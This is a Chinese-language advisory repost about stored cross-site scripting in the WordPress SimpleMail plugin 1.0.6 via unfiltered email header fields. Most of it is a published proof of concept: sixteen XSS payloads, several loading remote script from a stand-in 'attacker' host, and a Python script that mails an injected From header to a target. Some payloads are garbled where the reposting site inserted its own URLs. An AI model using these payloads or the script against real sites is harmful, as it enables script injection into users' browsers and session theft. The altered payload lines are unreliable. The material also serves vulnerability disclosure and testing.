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SimpleMail plugin for WordPress 1.0.6及其他版本在实现上存在多个漏洞，通过电子邮件的字段”To”、”From”、”Date”、”Subject”传递的输入没有正确过滤即用于 显示电子邮件，可被恶意利用执行脚本插入攻击，查看后会在受影响站点的用户浏览器中执行。
 
 
WordPress SimpleMail Plugin Email字段脚本插入漏洞
 
 
参考：
 
http://secunia.com/advisories/50208/
http://www.exploit-db.com/exploits/20361/
 
 
 
loneferret （）提供了如下测试方法：
 
#!/usr/bin/python
 
”’
 
Author: loneferret of Offensive Security
Product: SimpleMail
Version: 1.0.6 (free version)
Vendor Site: http://codecanyon.net/item/wp-simplemail/1130008?ref=tinsley
Software Download: http://wordpress.org/extend/plugins/wp-simplemail/
 
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure
 
Installed On: Ubuntu LAMP 8.04
WordPress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12
 
Injection Points: To, From, Date, Subject
Injection Payload(s):
1: ‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert(‘XSS’)</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
6: <SCRIPT SRC=http://up.2cto.com/2012/0813/20120813111400275.jpg”></SCRIPT>
7: </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
8: <SCRIPT SRC=//attacker/.j> www.2cto.com
9: <<SCRIPT>alert(“XSS”);//<</SCRIPT>
10: <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
11: <SCRIPT a=”>” SRC=”http://attacker/xss.js”></SCRIPT>
12: <SCRIPT =”blah” SRC=”http:// www.2cto.com /xss.js”></SCRIPT>
13: <SCRIPT a=”blah” ” SRC=”http://attacker/xss.js”></SCRIPT>
14: <SCRIPT “a=’>’” SRC=”http://attacker/xss.js”></SCRIPT>
15: <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://attacker/xss.js”></SCRIPT>
16: <SCRIPT a=”>’>” SRC=”http://attacker/xss.js”></SCRIPT>
 
”’
 
import smtplib, urllib2
   
payload = “”"<SCRIPT>alert(‘XSS’)</SCRIPT>”"”
   
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = “From: hacker@offsec.local” + payload + “\n”
        msg += “To: victim@victim.local\n”
        msg += ‘Date: Today\r\n’
        msg += “Subject: Offensive Security\n”
        msg += “Content-type: text/html\n\n”
        msg += “XSS\r\n\r\n”
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print “[-] Failed to send email:”
                print “[*] ” + str(e)
        server.quit()
   
username = “hacker@offsec.local”
password = “123456″
dstemail = “victim@victim.local”
frmemail = “hacker@offsec.local”
smtpsrv  = “172.16.84.171″
   
print “[*] Sending Email”
sendMail(dstemail, frmemail, smtpsrv, username, password)
 
 
 
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